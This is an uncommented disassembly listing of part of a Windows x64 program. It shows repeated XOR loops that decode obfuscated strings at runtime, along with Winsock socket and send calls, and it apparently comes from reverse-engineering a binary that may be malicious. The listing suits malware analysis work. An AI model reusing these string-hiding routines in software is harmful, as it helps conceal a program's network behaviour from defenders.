jl 0x140024280
lea rdx, [rbp - 0x30]
lea rcx, [0x1409febe0]
call fcn.140017710
mov rcx, rax
call fcn.140017980
mov eax, dword [str.CU_ER8]
mov dword [rsp + 0x30], eax
movzx eax, word [0x140091de0]
mov word [rsp + 0x34], ax
mov byte [rsp + 0x30], WSACleanup
xor byte [rsp + 0x31], 0x34
xor byte [rsp + 0x32], 0x35
xor byte [rsp + 0x33], 0x36
xor byte [rsp + 0x34], 0x37
xor byte [rsp + 0x35], 0x38
lea rcx, [rsp + 0x30]
call fcn.14002afc8
nop
lea rcx, [rbp + 0x5a0]
call fcn.1400080c0
nop
lea rcx, [rbp + 0x4f8]
call fcn.14000ee40
nop
lea rcx, [rbp + 0x4d8]
call fcn.140008a30
jmp 0x140024001
movups xmm0, xmmword [str.zZ_STL]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [0x140092320]
movups xmmword [rbp - 0x20], xmm1
movsd xmm0, qword [0x140092330]
movsd qword [rbp - 0x10], xmm0
movzx eax, word [0x140092338]
mov word [rbp - 8], ax
cmp edi, 2
jl 0x1400244a2
movdqa xmm5, xmmword [0x1400926d0]
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp - 0x2c]
mov edx, dword [rsp + 0x50]
nop
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x28
jl 0x1400243a0
cmp esi, 0x2a
jge 0x1400244dd
movsxd rax, esi
lea r8, [rbp - 0x30]
add r8, rax
nop dword [rax]
mov eax, 0x4ec4ec4f
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, sil
sub al, cl
add al, 0x33
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x2a
jl 0x1400244b0
lea rdx, [rbp - 0x30]
lea rcx, [0x1409febe0]
call fcn.140017710
mov rcx, rax
call fcn.140017980
mov eax, dword [str.CU_ER8]
mov dword [rsp + 0x30], eax
movzx eax, word [0x140091de0]
mov word [rsp + 0x34], ax
mov byte [rsp + 0x30], WSACleanup
xor byte [rsp + 0x31], 0x34
xor byte [rsp + 0x32], 0x35
xor byte [rsp + 0x33], 0x36
xor byte [rsp + 0x34], 0x37
xor byte [rsp + 0x35], 0x38
lea rcx, [rsp + 0x30]
call fcn.14002afc8
nop
lea rcx, [rbp + 0x5a0]
call fcn.1400080c0
nop
lea rcx, [rbp + 0x4f8]
call fcn.14000ee40
nop
lea rcx, [rbp + 0x4d8]
call fcn.140008a30
nop
lea rcx, [rbp + 0x518]
call fcn.1400080c0
nop
lea rcx, [rbp + 0x4a0]
call fcn.140008a30
nop
lea rcx, [rbp + 0x5c0]
call fcn.140006750
nop
lea rcx, [rbp + 0x580]
call fcn.140008a30
nop
lea rcx, [rbp + 0x550]
call fcn.140005520
jmp 0x140021c22
call fcn.14001b610
test al, al
jne 0x140024791
movups xmm0, xmmword [0x140091d60]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [0x140091d70]
movups xmmword [rbp - 0x20], xmm1
movups xmm0, xmmword [0x140091d80]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [0x140091d90]
movups xmmword [rbp], xmm1
movups xmm0, xmmword [str._55b.__f___9.l___4_zVgP]
movups xmmword [rbp + 0x10], xmm0
movsd xmm1, qword [0x140091db0]
movsd qword [rbp + 0x20], xmm1
mov r8d, esi
cmp edi, 2
jl 0x140024741
movdqa xmm5, xmmword [0x1400926d0]
mov edx, esi
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp - 0x2c]
mov r8d, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x58
jl 0x140024640
jmp 0x140024779
lea r9, [rbp - 0x30]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x58
jl 0x140024750
lea rdx, [rbp - 0x30]
lea rcx, [0x1409febe0]
call fcn.140017710
mov rcx, rax
call fcn.140017980
mov rcx, qword [0x1409ffc00]
call fcn.14000c0a0
test al, al
jne 0x1400249ab
movups xmm0, xmmword [0x140091ee0]
movups xmmword [rbp + 0xa0], xmm0
movups xmm1, xmmword [0x140091ef0]
movups xmmword [rbp + 0xb0], xmm1
movups xmm0, xmmword [0x140091f00]
movups xmmword [rbp + 0xc0], xmm0
movups xmm1, xmmword [0x140091f10]
movups xmmword [rbp + 0xd0], xmm1
movups xmm0, xmmword [0x140091f20]
movups xmmword [rbp + 0xe0], xmm0
movzx eax, byte [0x140091f30]
mov byte [rbp + 0xf0], al
mov r8d, esi
cmp edi, 2
jl 0x140024947
movdqa xmm5, xmmword [0x1400926d0]
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xa4]
mov edx, dword [rsp + 0x50]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x50
jl 0x140024840
cmp r8d, 0x51
jge 0x140024990
movsxd rax, r8d
lea r9, [rbp + 0xa0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x51
jl 0x140024960
lea rdx, [rbp + 0xa0]
lea rcx, [0x1409febe0]
call fcn.140017710
mov rcx, rax
call fcn.140017980
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x4c0], xmm0
mov qword [rbp + 0x4d0], rax
lea rdx, [rbp + 0x640]
cmp qword [rbp + 0x658], 0x10
cmovae rdx, qword [rbp + 0x640]
mov qword [rbp + 0x30], rsi
mov qword [rbp + 0x40], rsi
mov qword [rbp + 0x48], send
inc r14
cmp byte [rdx + r14], 0
jne 0x1400249e5
mov r8, r14
lea rcx, [rbp + 0x30]
call fcn.140003650
lea r8, [rbp + 0x30]
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp + 0x550]
call fcn.140007190
nop
mov rcx, qword [rbp + 0x4c0]
cmp rcx, qword [rbp + 0x4c8]
jne 0x140025353
test rcx, rcx
je 0x140024a72
mov rdx, qword [rbp + 0x4d0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024a5b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400255dc
call fcn.14005b964
mov qword [rbp + 0x4c0], rsi
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x4c8], xmm0
mov rdx, qword [rbp + 0x510]
cmp rdx, 8
jb 0x140024ab8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x4f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024ab3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400255e2
call fcn.14005b964
mov qword [rbp + 0x508], rsi
mov qword [rbp + 0x510], 7
mov word [rbp + 0x4f8], si
mov rdx, qword [rbp + 0x4f0]
cmp rdx, 0x10
jb 0x140024b12
inc rdx
mov rcx, qword [rbp + 0x4d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024b0d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400255e8
call fcn.14005b964
mov qword [rbp + 0x4e8], rsi
mov qword [rbp + 0x4f0], send
mov byte [rbp + 0x4d8], 0
mov rcx, qword [rbp + 0x518]
test rcx, rcx
je 0x140024b7d
mov rdx, qword [rbp + 0x528]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024b66
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400255ee
call fcn.14005b964
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x518], xmm0
mov qword [rbp + 0x528], rsi
mov rdx, qword [rbp + 0x4b8]
cmp rdx, 0x10
jb 0x140024bbe
inc rdx
mov rcx, qword [rbp + 0x4a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024bb9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400255f4
call fcn.14005b964
mov qword [rbp + 0x4b0], rsi
mov qword [rbp + 0x4b8], send
mov byte [rbp + 0x4a0], 0
lea rcx, [rbp + 0x5c0]
call fcn.140006750
nop
mov rdx, qword [rbp + 0x598]
cmp rdx, 0x10
jb 0x140024c26
inc rdx
mov rcx, qword [rbp + 0x580]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140024c20
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400255fa
call fcn.14005b964
nop
mov rcx, qword [rbp + 0x558]
test rcx, rcx
je 0x140024c3c
call qword [sym.imp.WS2_32.dll_closesocket]
mov byte [rbp + 0x550], 0
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rdx, qword [rbp + 0x578]
cmp rdx, 0x10
jb 0x1400218d6
inc rdx
mov rcx, qword [rbp + 0x560]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400218d1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002542c
jmp 0x1400218d1
lea rdx, [rbp + 0x188]
call fcn.140025700
mov r9, rax
cmp byte [rax + 0x22], 0
je 0x140025432
cmp dword [0x1400a3c50], 2
jl 0x140024e06
movdqa xmm5, xmmword [0x1400926d0]
movdqa xmm4, xmmword [0x140092750]
mov r12d, 4
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
mov r13d, 0x1f
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x50], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x20
jl 0x140024d00
cmp esi, 0x23
jge 0x140025432
movsxd r8, esi
add r8, r9
nop dword [rax]
mov eax, 0x4ec4ec4f
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, sil
sub al, cl
add al, 0x33
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x23
jge 0x140025432
jmp 0x140024e10
lea rdx, [rbp - 0x30]
call fcn.1400256b0
mov r9, rax
cmp byte [rax + 0x2e], 0
je 0x140025484
cmp dword [0x1400a3c50], 2
jl 0x140024fb6
movdqa xmm5, xmmword [0x1400926d0]
movdqa xmm4, xmmword [0x140092750]
mov r12d, 4
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
mov r13d, 0x1f
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x50], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x28
jl 0x140024eb0
cmp esi, 0x2f
jge 0x140025484
movsxd r8, esi
add r8, r9
nop dword [rax]
mov eax, 0x4ec4ec4f
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, sil
sub al, cl
add al, 0x33
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x2f
jge 0x140025484
jmp 0x140024fc0
lea rdx, [rbp + 0xa0]
call fcn.140025650
mov r9, rax
cmp byte [rax + 0x58], 0
je 0x1400254d6
cmp dword [0x1400a3c50], 2
jl 0x140025166
movdqa xmm5, xmmword [0x1400926d0]
movdqa xmm4, xmmword [0x140092750]
mov r12d, 4
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
mov r13d, 0x1f
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x50], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x58
jl 0x140025060
cmp esi, 0x59
jge 0x1400254d6
movsxd r8, esi
add r8, r9
nop dword [rax]
mov eax, 0x4ec4ec4f
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, sil
sub al, cl
add al, 0x33
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x59
jge 0x1400254d6
jmp 0x140025170
lea rdx, [rbp + 0x1b0]
call fcn.140025600
mov r9, rax
cmp byte [rax + 0x20], 0
je 0x140025528
cmp dword [0x1400a3c50], 2
jl 0x140025316
movdqa xmm5, xmmword [0x1400926d0]
movdqa xmm4, xmmword [0x140092750]
mov r12d, 4
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
mov r13d, 0x1f
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x50], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x20
jl 0x140025210
cmp esi, 0x21
jge 0x140025528
movsxd r8, esi
add r8, r9
nop dword [rax]
mov eax, 0x4ec4ec4f
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, sil
sub al, cl
add al, 0x33
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x21
jge 0x140025528
jmp 0x140025320
lea rcx, [rbp + 0x4c0]
call fcn.1400148b0
mov rbx, rax
lea rdx, [rbp + 0x4d8]
lea rcx, [rbp + 0x1b0]
call fcn.140008b30
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call fcn.14001efc0
lea rdx, [rsp + 0x30]
call fcn.140025630
movzx ecx, byte [rax + 5]
test cl, cl
je 0x1400253b5
xor byte [rax], 0x33
xor byte [rax + 1], 0x34
xor byte [rax + 2], 0x35
xor byte [rax + 3], 0x36
xor byte [rax + 4], 0x37
xor cl, 0x38
mov byte [rax + 5], cl
mov rcx, rax
call fcn.14002afc8
xor ecx, ecx
call fcn.140026a58
nop
mov rdx, r9
lea rcx, [0x1409febe0]
call fcn.140017710
mov rcx, rax
lea rdx, [rbp + 0x5f8]
call fcn.140026060
mov rcx, rax
call fcn.140014c00
lea rdx, [rsp + 0x30]
call fcn.140025630
movzx ecx, byte [rax + 5]
test cl, cl
je 0x140025416
xor byte [rax], 0x33
xor byte [rax + 1], 0x34
xor byte [rax + 2], 0x35
xor byte [rax + 3], 0x36
xor byte [rax + 4], 0x37
xor cl, 0x38
mov byte [rax + 5], cl
mov rcx, rax
call fcn.14002afc8
xor ecx, ecx
call fcn.140026a58
nop
call fcn.140026c98
int3
call fcn.140026c98
nop
mov rdx, r9
lea rcx, [0x1409febe0]
call fcn.140017710
mov rcx, rax
call fcn.140014c00
lea rdx, [rsp + 0x30]
call fcn.140025630
movzx ecx, byte [rax + 5]
test cl, cl
je 0x140025474
xor byte [rax], 0x33
xor byte [rax + 1], 0x34
xor byte [rax + 2], 0x35
xor byte [rax + 3], 0x36
xor byte [rax + 4], 0x37
xor cl, 0x38
mov byte [rax + 5], cl
mov rcx, rax
call fcn.14002afc8
xor ecx, ecx
call fcn.140026a58
int3
mov rdx, r9
lea rcx, [0x1409febe0]
call fcn.140017710
mov rcx, rax
call fcn.140014c00
lea rdx, [rsp + 0x30]
call fcn.140025630
movzx ecx, byte [rax + 5]
test cl, cl
je 0x1400254c6
xor byte [rax], 0x33
xor byte [rax + 1], 0x34
xor byte [rax + 2], 0x35
xor byte [rax + 3], 0x36
xor byte [rax + 4], 0x37
xor cl, 0x38
mov byte [rax + 5], cl
mov rcx, rax
call fcn.14002afc8
xor ecx, ecx
call fcn.140026a58
int3
mov rdx, r9
lea rcx, [0x1409febe0]
call fcn.140017710
mov rcx, rax
call fcn.140014c00
lea rdx, [rsp + 0x30]
call fcn.140025630
movzx ecx, byte [rax + 5]
test cl, cl
je 0x140025518
xor byte [rax], 0x33
xor byte [rax + 1], 0x34
xor byte [rax + 2], 0x35
xor byte [rax + 3], 0x36
xor byte [rax + 4], 0x37
xor cl, 0x38
mov byte [rax + 5], cl
mov rcx, rax
call fcn.14002afc8
xor ecx, ecx
call fcn.140026a58
int3
mov rdx, r9
lea rcx, [0x1409febe0]
call fcn.140017710
mov rcx, rax
call fcn.140014c00
lea rdx, [rsp + 0x30]
call fcn.140025630
movzx ecx, byte [rax + 5]
test cl, cl
je 0x14002556a
xor byte [rax], 0x33
xor byte [rax + 1], 0x34
xor byte [rax + 2], 0x35
xor byte [rax + 3], 0x36
xor byte [rax + 4], 0x37
xor cl, 0x38
mov byte [rax + 5], cl
mov rcx, rax
call fcn.14002afc8
xor ecx, ecx
call fcn.140026a58
nop
call fcn.140026c98
nop
call fcn.140026c98
nop
call fcn.140026c98
nop
xor ecx, ecx
call fcn.140026a58
nop
call fcn.140026c98
int3
call fcn.140026c98
nop
call fcn.140026c98
nop
call fcn.140026c98
nop
call fcn.140026c98
nop
call fcn.140026c98
nop
call fcn.140026c98
nop
call fcn.140026c98
nop
call fcn.14001a620
nop
call fcn.140026c98
int3
call fcn.140026c98
nop
call fcn.140026c98
nop
call fcn.140026c98
nop
call fcn.140026c98
nop
call fcn.140026c98
nop
call fcn.140026c98
nop
call fcn.140026c98
nop
call fcn.140026c98
int3